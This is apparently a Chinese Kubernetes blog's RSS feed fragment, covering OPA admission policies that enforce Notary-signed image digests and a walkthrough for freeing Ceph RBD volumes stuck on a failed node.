&lt;li&gt;拒绝使用了哈希但是没有被 Notary 签名的镜像。&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;已经随 Helm 安装好。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;先看看第一条规则（&lt;code&gt;helm/opa/policy/validating/rules.rego&lt;/code&gt;）&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-rego&#34;&gt;package policy.validating

operations := {&amp;quot;CREATE&amp;quot;, &amp;quot;UPDATE&amp;quot;}

kind := {&amp;quot;Pod&amp;quot;, &amp;quot;Deployment&amp;quot;}

# rule to deny digests for pods and deployments
deny[msg] {
  operations[input.request.operation]
  kind[input.request.kind.kind]
  image = get_images[_]
  not contains(image.name, &amp;quot;@sha256:&amp;quot;)
  msg := sprintf(&amp;quot;%v contains tag; only images with checksum are allowed&amp;quot;, [image.name])
}

# rule deny if digest is not in notary
deny[msg] {
  operations[input.request.operation]
  kind[input.request.kind.kind]
  image = get_images[_]
  contains(image.name, &amp;quot;@sha256:&amp;quot;)

  # Example to mock digest comparison
  # parts := split_image(image.name)
  # not parts.digest == &amp;quot;@sha256:50&amp;quot;

  get_checksum_status(image.name) != 200
  msg := sprintf(&amp;quot;No trust data found for the following image: %v &amp;quot;, [image.name])
}

# helper rules
# get images if pod
get_images[x] {
  input.request.kind.kind == &amp;quot;Pod&amp;quot;
  name := input.request.object.spec.containers[i].image
  x := {
    &amp;quot;index&amp;quot;: i,
    &amp;quot;name&amp;quot;: name,
  }
}

## get images if deployment
get_images[x] {
  input.request.kind.kind == &amp;quot;Deployment&amp;quot;
  name := input.request.object.spec.template.spec.containers[i].image
  x := {
    &amp;quot;index&amp;quot;: i,
    &amp;quot;name&amp;quot;: name,
  }
}

# rule to split gun and tag
split_image(image) = x {
  parts := split(image, &amp;quot;@sha256:&amp;quot;)
  x := {
    &amp;quot;gun&amp;quot;: parts[0],
    &amp;quot;digest&amp;quot;: parts[1],
  }
}

# rule to get digest from notary-wrapper
get_checksum_status(image) = status {
  wrapperRootCa := &amp;quot;/etc/certs/notary/root-ca.crt&amp;quot;
  notaryWrapperURL = &amp;quot;https://notary-wrapper-svc.opa.svc:4445/verify&amp;quot;
  parts := split_image(image)
  body := {
    &amp;quot;GUN&amp;quot;: parts.gun,
    &amp;quot;SHA&amp;quot;: parts.digest,
    &amp;quot;notaryServer&amp;quot;: &amp;quot;notary-server-svc.notary.svc:4443&amp;quot;,
  }

  headers_json := {&amp;quot;Content-Type&amp;quot;: &amp;quot;application/json&amp;quot;}
  output := http.send({&amp;quot;method&amp;quot;: &amp;quot;post&amp;quot;, &amp;quot;url&amp;quot;: notaryWrapperURL, &amp;quot;headers&amp;quot;: headers_json, &amp;quot;body&amp;quot;: body, &amp;quot;tls_ca_cert_file&amp;quot;: wrapperRootCa})
  status := output.status_code
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的规则会检查尝试创建或更新 Pod 或者 Deployment 类型的 API 请求。&lt;/p&gt;

&lt;p&gt;根据资源类型，&lt;code&gt;get_image[x]&lt;/code&gt; 规则会确保遍历请求中的所有容器，检查这些容器是否用摘要（例如 &lt;code&gt;[GUN]@sha256:[digest hash]&lt;/code&gt;）进行拉取。&lt;/p&gt;

&lt;p&gt;因此简单的检查一下，镜像是否用了 &lt;code&gt;@sha256&lt;/code&gt; 就可以了。否则我们会认为此次尝试部署的是一个用 Tag 标识的镜像。如果这一规则被触发，请求就会被阻拦，并得到返回的错误消息。&lt;/p&gt;

&lt;p&gt;接下来我们继续定义第二个规则，拒绝没有被 Notary 信任的摘要。&lt;/p&gt;

&lt;p&gt;在这个规则里，我们在 &lt;code&gt;get_checksum_status(image)&lt;/code&gt; 中用了 OPA 中集成的 &lt;code&gt;http.send&lt;/code&gt; 函数。首先会从请求中获取每个镜像的哈希，然后在 &lt;code&gt;get_checksum_status(image)&lt;/code&gt; 中发送镜像的 GUN 和摘要到 Notary Wrapper，Notary Wrapper 会检查每个镜像是否都已签名。如果请求返回的不是 200，那么部署动作会被制止。&lt;/p&gt;

&lt;p&gt;简单说 &lt;code&gt;http.send&lt;/code&gt; 函数在目标不可用时不会返回响应（可以参考 OPA 的一个&lt;a href=&#34;https://github.com/open-policy-agent/opa/issues/2187&#34; target=&#34;_blank&#34;&gt;功能申请&lt;/a&gt;）。在我们这里因为有了 Notary Wrapper，只要它正常工作，就不会遇到这个困扰。然而一旦 Notary Wrapper 不可用，OPA 也会故障，会被 &lt;code&gt;ValidatingWebhookConfiguration&lt;/code&gt; 中的 &lt;code&gt;failurePolicy: Fail&lt;/code&gt; 定义所捕获。&lt;/p&gt;

&lt;p&gt;上面描述的两条规则就足以在 Kubernetes 集群中完成对内容信任的控制了。&lt;/p&gt;

&lt;p&gt;要进行测试，只需要简单的部署一个新的 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# trust-pinning-test
apiVersion: v1
kind: Pod
metadata:
  name: trust-pinning-test
  namespace: default
spec:
  containers:
  # trigger rule 1:
  - image: GUN/&amp;lt;hub-id&amp;gt;/nginx:1
  # trigger rule 2:
  # - image: GUN/&amp;lt;hub-id&amp;gt;/nginx@sha256:89cce606b29fb2xxxxx
  # valid deployment:
  # - image: GUN/&amp;lt;hub-id&amp;gt;/nginx@sha256:&amp;lt;your-signed-RepoDigest&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;另外在 &lt;code&gt;open-policy-agent/tests&lt;/code&gt; 中还包含了多个针对不同需求的过个测试。&lt;/p&gt;

&lt;p&gt;接下来的示意图展示了我们目前的工作成果：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/opa-image-verification.png&#34; alt=&#34;opa-image-verification&#34; /&gt;&lt;/p&gt;

&lt;p&gt;每次部署都会发出 API 请求，随即开始校验过程：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;请求触发了校验 Webhook，发起对 OPA 的调用。&lt;/li&gt;
&lt;li&gt;OPA 会检查镜像的拉取方式，如果使用的是摘要方式，就会向 Notary Wrapper 请求信任数据。Notary Wrapper 则会从 Notary 服务器查询数据，并返回给 OPA，OPA 据此进行决策。如果没有触发规则，Kubernetes 会继续部署。&lt;/li&gt;
&lt;li&gt;根据哈希从镜像库拉取（本例中是 DockerHub）。&lt;/li&gt;
&lt;li&gt;部署 Pod。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;到此为止，我们已经成功的实现了内容信任机制。然而查询 &lt;code&gt;RepoDigests&lt;/code&gt; 是个很麻烦的事情。如果能基于 Tag 使用内容信任就两全其美了。&lt;/p&gt;

&lt;h2 id=&#34;定义-mutating-admission-control-完成自动化&#34;&gt;定义 Mutating Admission Control 完成自动化&lt;/h2&gt;

&lt;p&gt;Mutating Webhook 是用于在校验之前对请求内容进行变更的，我们接下来会编写这样一个功能。每次用户尝试部署一个带标签的镜像时，就启动 Webhook，自动将镜像引用改为哈希模式。大致工作流程如下：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/mutation-pod-deploy.png&#34; alt=&#34;mutation-pod-deploy&#34; /&gt;&lt;/p&gt;

&lt;p&gt;API 请求流经 Webhook：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;如果请求中包含 Pod，操作类型是创建或者更新，并且镜像是用 Tag 标识的，就会触发 OPA 的 Mutating Webhook（在所有的验证之前）。&lt;/li&gt;
&lt;li&gt;OPA 会用 Tag 去检查镜像，接下来 OPA 会为每个标签发起新的 &lt;code&gt;http.send&lt;/code&gt; 请求到 Notary Wrapper，向 Notary 服务器发起查询。&lt;/li&gt;
&lt;li&gt;如果 Notary Wrapper 在 Notary 服务器上找到了对应这个标签的条目，就会返回最新的 &lt;code&gt;RepoDigest&lt;/code&gt; 给 OPA，否则报错。&lt;/li&gt;
&lt;li&gt;OPA 对 Deployment 进行修改，把镜像标签更换为哈希，并把变更后的请求内容发送给 API Server。&lt;/li&gt;
&lt;li&gt;API Server 继续完成创建或更新流程，校验 Webhook 会对请求进行检查，如果请求有效，就用 &lt;code&gt;RepoDigest&lt;/code&gt; 从可信的仓库拉取镜像，并完成部署。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;因为我们已经在安装过程中给 OPA 注册了 Mutating Webhook，我们只需要加入新的 Rego 规则就可以了。最简单的方式就是回到本地的 Helm 目录，启用 &lt;code&gt;mutating&lt;/code&gt;，然后执行 &lt;code&gt;helm upgrade&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;# open-policy-agent/helm/opa/values.yml
...
validating: true
mutating: true
&lt;/code&gt;&lt;/pre&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;# switch to namespace opa
helm upgrade --install opa opa
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;OPA 中的 Mutating Webhook 是 &lt;code&gt;main&lt;/code&gt; 方法的一部分，这个方法会在 API 请求时发起变更。&lt;code&gt;helm upgrade&lt;/code&gt; 会加入下面的新规则：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-rego&#34;&gt;package policy.mutating

import data.k8s.matches

main = {
  &amp;quot;apiVersion&amp;quot;: &amp;quot;admission.k8s.io/v1&amp;quot;,
  &amp;quot;kind&amp;quot;: &amp;quot;AdmissionReview&amp;quot;,
  &amp;quot;response&amp;quot;: response,
}

default uid = &amp;quot;missing-uid&amp;quot;

uid = input.request.uid

# default allow without patch
response = r {
  count(patch) == 0
  r := {
    &amp;quot;uid&amp;quot;: uid,
    &amp;quot;allowed&amp;quot;: true,
  }
}

# response with patch
response = {
  &amp;quot;uid&amp;quot;: input.request.uid,
  &amp;quot;allowed&amp;quot;: true,
  &amp;quot;patchType&amp;quot;: &amp;quot;JSONPatch&amp;quot;,
  &amp;quot;patch&amp;quot;: patch_bytes,
} {
  count(patch) &amp;gt; 0
  patch_json = json.marshal(patch)
  patch_bytes = base64url.encode(patch_json)
}

# patch
default patch = []

patch = result {
  operations := {&amp;quot;CREATE&amp;quot;, &amp;quot;UPDATE&amp;quot;}
  kind := {&amp;quot;Pod&amp;quot;, &amp;quot;Deployment&amp;quot;}
  
  
  operations[input.request.operation]
  kind[input.request.kind.kind]

  # construct patch for each image in the container array that requires it.
  result := [p |
    image = get_images[_]
    not contains(image.name, &amp;quot;@sha256:&amp;quot;)

    parts := split_image(image.name)

    # format: registry/project@sha256:xxx
    patchedImage := concat(&amp;quot;&amp;quot;, [parts.gun, &amp;quot;@sha256:&amp;quot;, get_digest(image.name)])

    # cconstruct JSON Patch for the deployment.
    # kube-apiserver expects changes to be represented as
    # JSON Patch operation against the resource.
    # the JSON Patch must be JSON serialized and base64 encoded.
    p := {
      &amp;quot;op&amp;quot;: &amp;quot;replace&amp;quot;,
      &amp;quot;path&amp;quot;: get_path(image.index),
      &amp;quot;value&amp;quot;: patchedImage,
    }
  ]
}

# helper rules

# rule to compute images set
# the first line ensures that its matched to the right k8s resource
# the second line iterates over each container and extracts the image
get_images[x] {
  input.request.kind.kind == &amp;quot;Pod&amp;quot;
  name := input.request.object.spec.containers[i].image
  x := {
    &amp;quot;index&amp;quot;: i,
    &amp;quot;name&amp;quot;: name,
  }
}

get_images[x] {
  input.request.kind.kind == &amp;quot;Deployment&amp;quot;
  name := input.request.object.spec.template.spec.containers[i].image
  x := {
    &amp;quot;index&amp;quot;: i,
    &amp;quot;name&amp;quot;: name,
  }
}

# construct and returns json path for &amp;quot;Pods&amp;quot;
get_path(index) = path {
  input.request.kind.kind == &amp;quot;Pod&amp;quot;
  path := concat(&amp;quot;/&amp;quot;, [&amp;quot;&amp;quot;, &amp;quot;spec&amp;quot;, &amp;quot;containers&amp;quot;, format_int(index, 10), &amp;quot;image&amp;quot;])
}

# construct and returns json path for &amp;quot;Deployment&amp;quot;
get_path(index) = path {
  input.request.kind.kind == &amp;quot;Deployment&amp;quot;
  path := concat(&amp;quot;/&amp;quot;, [&amp;quot;&amp;quot;, &amp;quot;spec&amp;quot;, &amp;quot;template&amp;quot;, &amp;quot;spec&amp;quot;, &amp;quot;containers&amp;quot;, format_int(index, 10), &amp;quot;image&amp;quot;])
}

split_image(image) = x {
  parts := split(image, &amp;quot;:&amp;quot;)
  x := {
    &amp;quot;gun&amp;quot;: parts[0],
    &amp;quot;tag&amp;quot;: parts[1],
  }
}

# helper rule to retrieve the digest from notary using notary-wrapper
get_digest(image) = digest {
  wrapperRootCa := &amp;quot;/etc/certs/notary/root-ca.crt&amp;quot;
  notaryWrapperURL = &amp;quot;https://notary-wrapper-svc.opa.svc:4445/list&amp;quot;
  parts := split_image(image)
  body := {
    &amp;quot;GUN&amp;quot;: parts.gun,
    &amp;quot;Tag&amp;quot;: parts.tag,
    &amp;quot;notaryServer&amp;quot;: &amp;quot;notary-server-svc.notary.svc:4443&amp;quot;
  }

  headers_json := {&amp;quot;Content-Type&amp;quot;: &amp;quot;application/json&amp;quot;}
  output := http.send({&amp;quot;method&amp;quot;: &amp;quot;post&amp;quot;, &amp;quot;url&amp;quot;: notaryWrapperURL, &amp;quot;headers&amp;quot;: headers_json, &amp;quot;body&amp;quot;: body, &amp;quot;tls_ca_cert_file&amp;quot;: wrapperRootCa})
  digest := output.body.Digest
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;简单说一下这段代码的功能：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;OPA 会使用 &lt;code&gt;response&lt;/code&gt; 规则中的代码加入需要的响应。&lt;/li&gt;
&lt;li&gt;第一个 &lt;code&gt;response&lt;/code&gt; 针对的是无需变更的请求，允许任意的 API 请求通过。&lt;/li&gt;
&lt;li&gt;第二个 &lt;code&gt;response&lt;/code&gt; 会调用 &lt;code&gt;patch&lt;/code&gt; 规则。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;patch&lt;/code&gt; 规则会对任何面向 &lt;code&gt;Pod&lt;/code&gt; 或者 &lt;code&gt;Deployment&lt;/code&gt; 的 API 请求进行变更。结果参数首先会获取 API 请求中的镜像，检查是否每个镜像都是使用哈希进行拉取的（URL 中包含了 &lt;code&gt;@shar256:&lt;/code&gt;）。&lt;/li&gt;
&lt;li&gt;如果不满足上一个条件，就会使用 &lt;code&gt;split_image&lt;/code&gt; 规则将镜像分为名称和标签两部分。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;split_image&lt;/code&gt; 返回的是一个数组，&lt;code&gt;get_digest&lt;/code&gt; 中使用这个数组调用 &lt;code&gt;http.send&lt;/code&gt; 函数通过 Notary Wrapper 向 Notary 请求哈希。如果 Notary 没有对应的哈希，会得到 404 的返回值。&lt;/li&gt;
&lt;li&gt;Kubernetes 中使用 &lt;code&gt;.json&lt;/code&gt; 格式的补丁。&lt;code&gt;.json&lt;/code&gt; 补丁（赋值给 &lt;code&gt;p&lt;/code&gt;）需要在 &lt;code&gt;path&lt;/code&gt; 参数中指定的路径上执行 &lt;code&gt;replace&lt;/code&gt; 操作，从而替换原有的拉取方式。在 Pod 和 Deployment 中，镜像字段的路径是不同的，我们需要创建两个 &lt;code&gt;get_digest&lt;/code&gt; 和  &lt;code&gt;get_path&lt;/code&gt; 来应对两种情况。&lt;/li&gt;
&lt;li&gt;OPA 会对补丁进行编码，并返回变更后的 API 请求给 API Server，继续后续操作。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;如果想要测试这个 Webhook，可以看看 &lt;code&gt;open-policy-agent/tests&lt;/code&gt;，如果保存了前面的校验 Webhook，可以测试一下有效和无效的 Tag 或者哈希。下表总结了 Webhook 的响应情况：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/table.png&#34; alt=&#34;table&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;总结和展望&#34;&gt;总结和展望&lt;/h2&gt;

&lt;p&gt;最终，我们成功地在 Kubernetes 集群上，无需改动部署习惯的情况下，实现了内容信任机制，除了这个，OPA 还能做很多其它的校验工作。&lt;/p&gt;

&lt;p&gt;我们知道这篇文章很长，但是我希望尽可能多地为读者提供更多细节。我们认为，虽然有很多的容器扫描和加固方面的技术，镜像签署和信任是目前容器安全方面的最大盲区之一。&lt;/p&gt;

&lt;p&gt;下一步需要做点什么呢？还有很多细节我们没能说明：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;性能&lt;/strong&gt;：校验和变更过程的性能测试。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生产就绪&lt;/strong&gt;：提供高可用的 Notary 部署，并把客户端（包括 Docker 客户端）做到硬件安全模块。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI-CD 集成&lt;/strong&gt;：在 CI/CD 中自动化地进行签名。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;感谢阅读全文，希望对你有所助益。这里尤其要感谢来自 OPA/Styra 的 Asad、Torin 以及 Jeff，对我们编写的规则作出很多支持。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Github 仓库：&lt;code&gt;https://github.com/k8s-gadgets/k8s-content-trust&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;TUF 项目：&lt;code&gt;https://theupdateframework.github.io/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Notary 数据库：&lt;code&gt;https://docs.docker.com/notary/service_architecture/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Notary 架构：&lt;code&gt;https://docs.docker.com/notary/service_architecture/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Notary 客户端：&lt;code&gt;https://github.com/theupdateframework/notary/releases&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Kubernetes 关于内容信任的讨论：&lt;code&gt;https://github.com/kubernetes/kubernetes/issues/30603#issuecomment-430889781&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>释放 Kubernetes 故障节点上的 RBD 卷</title>
      <link>/post/unbound-rbd-from-a-notready-node/</link>
      <pubDate>Thu, 01 Oct 2020 00:22:06 +0800</pubDate>
      <guid>/post/unbound-rbd-from-a-notready-node/</guid>
      <description>

&lt;p&gt;在 Kubernetes 节点发生故障时，在 40 秒内（由 Controller Manager 的 &lt;code&gt;--node-monitor-grace-period&lt;/code&gt; 参数指定），节点进入 &lt;code&gt;NotReady&lt;/code&gt; 状态，经过 5 分钟（由 &lt;code&gt;--pod-eviction-timeout&lt;/code&gt; 参数指定），Master 会开始尝试删除故障节点上的 Pod，然而由于节点已经失控，这些 Pod 会持续处于 &lt;code&gt;Terminating&lt;/code&gt; 状态。&lt;/p&gt;

&lt;p&gt;一旦 Pod 带有一个独占卷，例如我现在使用的 Ceph RBD 卷，情况就会变得更加尴尬：RBD 卷被绑定在故障节点上，PV 映射到这个镜像，PVC 是独占的，无法绑定到新的 Pod，因此该 Pod 无法正确运行。要让这个 Pod 在别的节点上正常运行，需要用合适的路线重新建立 RBD Image 到 PV 到 PVC 的联系。&lt;/p&gt;

&lt;h2 id=&#34;备份&#34;&gt;备份&lt;/h2&gt;

&lt;p&gt;大家都很清楚，数据相关的操作是高危操作，因此下面的任何步骤执行之前，首先要进行的就是备份。备份操作同样也需要沿着 RBD-&amp;gt;PV-&amp;gt;PVC 的线路完整进行。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;kubectl get pvc&lt;/code&gt;，会输出 PVC 绑定的 PV，将 PV 和 PVC 的 YAML 都进行导出备份。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kubectl get pv -o yaml&lt;/code&gt;，其中的 &lt;code&gt;spec.rbd.image&lt;/code&gt; 字段会指明对应的 RBD Image。使用 RBD 相关命令对 RBD Image 进行备份。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;节点主机可用&#34;&gt;节点主机可用&lt;/h2&gt;

&lt;p&gt;有些情况下，节点作为 Kubernetes Node 的功能无法正常工作，但是节点本身是可用的，例如无法连接到 API Server 的情况。例如下面的工作负载：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  labels:
    app: sleep
    version: v1
  name: sleep
spec:
  selector:
    matchLabels:
      app: sleep
      version: v1
  template:
    metadata:
      labels:
        app: sleep
        version: v1
    spec:
      containers:
      - image: something/nginx:0.1
        imagePullPolicy: Always
        name: sleep
        volumeMounts:
          - name: pvc1
            mountPath: /data
      dnsPolicy: ClusterFirst
      restartPolicy: Always
      volumes:
      - name: pvc1
        persistentVolumeClaim:
          claimName: claim1
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: claim1
spec:
  accessModes:
  - ReadWriteOnce
  resources:
    requests:
      storage: 1Gi
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;提交到集群后，会创建一个 Deployment 和 PVC，查看一下所在节点：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get po -o wide
...
sleep-6f7c8cc954-5bzsk ... 10.10.11.21
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;登录该节点，停止 Kubelet 制造一个 &lt;code&gt;NotReady&lt;/code&gt;。使用 &lt;code&gt;watch kubectl get nodes,pods&lt;/code&gt; 命令持续观察，会发现如前所述，首先节点进入 &lt;code&gt;NotReady&lt;/code&gt; 状态，几分钟之后，Pod 发生如下变化：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get pods
sleep-6f7c8cc954-pqjj6   0/1     ContainerCreating   0          41s
sleep-6f7c8cc954-rcpnc   1/1     Terminating         0          8m44s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;原有 Pod 进入 &lt;code&gt;Terminating&lt;/code&gt; 状态，新创建了一个 Pod，但是新 Pod 会持续处于 &lt;code&gt;ContainerCreating&lt;/code&gt; 状态，查看这个 Pod 的状态：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl desribe po sleep-6f7c8cc954-pqjj6
...
Multi-Attach error for volume &amp;quot;pvc-2de7d17c-04c6-11eb-b22b-5254002d96de&amp;quot; Volume is already used by pod(s) sleep-6f7c8cc954-rcpnc
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到因为存储卷是独占的，导致 Pod 无法成功创建。是不是删除 Pod 就能解决了呢？因为节点不可用，删除是无效的，因此这里需要强行删除：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl delete po sleep-6f7c8cc954-rcpnc --force --grace-period=0
warning: Immediate deletion does not wait for confirmation that the running resource has been terminated. The resource may continue to run on the cluster indefinitely.
pod &amp;quot;sleep-6f7c8cc954-rcpnc&amp;quot; force deleted
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然而 Pod 仍然无法创建，错误原因：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl describe po sleep-6f7c8cc954-fhl8c
Warning  FailedAttachVolume  18s   attachdetach-controller  Multi-Attach error for volume &amp;quot;pvc-2de7d17c-04c6-11eb-b22b-5254002d96de&amp;quot; Volume is already exclusively attached to one node and can&#39;t be attached to another
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;出现另一个错误，PV 已经被绑定到不可用节点。&lt;/p&gt;

&lt;p&gt;要解决这个问题，可以使用现有 PV 的 YAML 新建一个 PV，强制指向原有的 RBD Image：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: PersistentVolume
metadata:
  name: pvc-manual
spec:
  accessModes:
  - ReadWriteOnce
  capacity:
    storage: 1Gi
  persistentVolumeReclaimPolicy: Delete
  rbd:
    fsType: ext4
    image: kubernetes-dynamic-pvc-3498797d-04c6-11eb-b6b6-4e0deb79a72b
    keyring: /etc/ceph/keyring
    monitors:
    - 10.10.11.11:6789
    - 10.10.11.12:6789
    - 10.10.11.13:6789
    pool: k8s
    secretRef:
      name: ceph-secret
      namespace: ceph
    user: admin
  storageClassName: rbd
  volumeMode: Filesystem
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;会创建一个新的 PV，状态为 &lt;code&gt;Available&lt;/code&gt;。接下来就创建一个新的 PVC，指向新创建的 PV：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: claim1
spec:
  accessModes:
  - ReadWriteOnce
  resources:
    requests:
      storage: 1Gi
  volumeName: pvc-manual
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;把 Deployment 也创建起来，使用新的 PVC，发现 Pod 保持在 &lt;code&gt;ContainerCreating&lt;/code&gt; 状态，查看 Pod 信息会看到：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl describe po sleep-6f7c8cc954-5hptw 
Warning  FailedMount             62s (x2 over 112s)   kubelet, 10.10.11.22     MountVolume.WaitForAttach failed for volume &amp;quot;pvc-manual&amp;quot; : rbd image k8s/kubernetes-dynamic-pvc-3498797d-04c6-11eb-b6b6-4e0deb79a72b is still being used
Warning  FailedMount             24s (x2 over 2m41s)  kubelet, 10.10.11.22     Unable to mount volumes for pod &amp;quot;sleep-6f7c8cc954-5hptw_default(9d6caec9-04d1-11eb-afd2-525400c74ddd)&amp;quot;: timeout expired waiting for volumes to attach or mount for pod &amp;quot;default&amp;quot;/&amp;quot;sleep-6f7c8cc954-5hptw&amp;quot;. list of unmounted volumes=[pvc1]. list of unattached volumes=[pvc1 default-token-97tqr]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;此处信息表明，RBD 镜像被占用，接下来我们去故障节点解除这个占用。&lt;/p&gt;

&lt;p&gt;首先我们要查找绑定了这一镜像的容器，可以用如下脚本实现：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;#!/bin/env python2
import subprocess
import re


print(&amp;quot;Searching for docker instances mounting rbds&amp;quot;)
mount_list = subprocess.check_output(&amp;quot;mount&amp;quot;)
dev_list = {}
mount_list = mount_list.split(&amp;quot;\n&amp;quot;)
regex = r&amp;quot;^(\/dev\/rbd\d+)\son\s.*?\/pods\/([0-9a-z-]+)\/volumes.*?$&amp;quot;

for mount_line in mount_list:
  mat = re.search(regex,mount_line)
  if mat is None:
    continue
  dev_list[mat.group(1)] = mat.group(2)

docker_list = subprocess.check_output([&amp;quot;docker&amp;quot;, &amp;quot;ps&amp;quot;])
docker_list = docker_list.split(&amp;quot;\n&amp;quot;)

for dev in dev_list.keys():
  docker_str = dev_list[dev]
  for docker_process in docker_list:
    if not docker_str in docker_process:
      continue
    docker_id = docker_process.split(&amp;quot; &amp;quot;)[0]
    print &amp;quot;Dev: {}\tDocker ID: {}\n&amp;quot;.format([dev, docker_id])
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的脚本功能很简单，使用 &lt;code&gt;mount&lt;/code&gt; 命令列出所有加载卷，然后过滤出 &lt;code&gt;/dev/rbd\d+&lt;/code&gt; 的加载，并识别其中是否符合 Pod 加载的特征，最终会用 &lt;code&gt;容器 ID: 设备名称&lt;/code&gt; 的格式输出结果。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ python2 show-rbd.py
Searching for docker instances mounting rbds
Dev: /dev/rbd0  Docker ID: 033b1185008c
Dev: /dev/rbd0  Docker ID: b716592e5aae
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;停止并删除其中的容器，并调用 &lt;code&gt;umount /dev/rbd0&lt;/code&gt; 卸载卷。最后使用 &lt;code&gt;rbd unmap /dev/rbd0&lt;/code&gt; 命令解除关联。再次创建 Pod，会发现 Pod 成功运行。&lt;/p&gt;

&lt;h2 id=&#34;节点主机不可用&#34;&gt;节点主机不可用&lt;/h2&gt;

&lt;p&gt;这种情况和前面类似，但是需要在 Ceph 服务端断开关系。&lt;/p&gt;

&lt;p&gt;首先查看对应镜像的状态：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ rbd status kubernetes-dynamic-pvc-fa69dfa7-04d4-11eb-b6b6-4e0deb79a72b -p k8s
Watchers:
    watcher=10.10.11.23:0/4208975345 client.364378 cookie=18446462598732840961
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里看到其中的关联关系。将对应 &lt;code&gt;watcher&lt;/code&gt; 拉黑：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ ceph osd blacklist add 10.10.11.23:0/4208975345
blacklisting 10.10.11.23:0/4208975345 until 2020-10-02T18:37:00.985286+0000 (3600 sec)
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;后记&#34;&gt;后记&lt;/h2&gt;

&lt;p&gt;整个过程中会涉及到多次删除、覆盖等操作，稍有差池都会导致重要损失，此处描述的步骤也难免有些疏漏，因此务必做好备份工作，这样即使是 RBD 镜像丢失，也可以通过重建 PV 的方式恢复服务。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;别问我为啥用 Deployment 跑有状态应用。。&lt;/p&gt;
&lt;/blockquote&gt;
</description>
    </item>
    
    <item>
      <title>伸手党的容器镜像加固流程</title>
      <link>/post/harden-docker-image-flow-chart/</link>
      <pubDate>Tue, 15 Sep 2020 20:19:20 +0800</pubDate>
      <guid>/post/harden-docker-image-flow-chart/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;人在江湖飘，哪能不挨刀&lt;/p&gt;
&lt;/blockquote&gt;

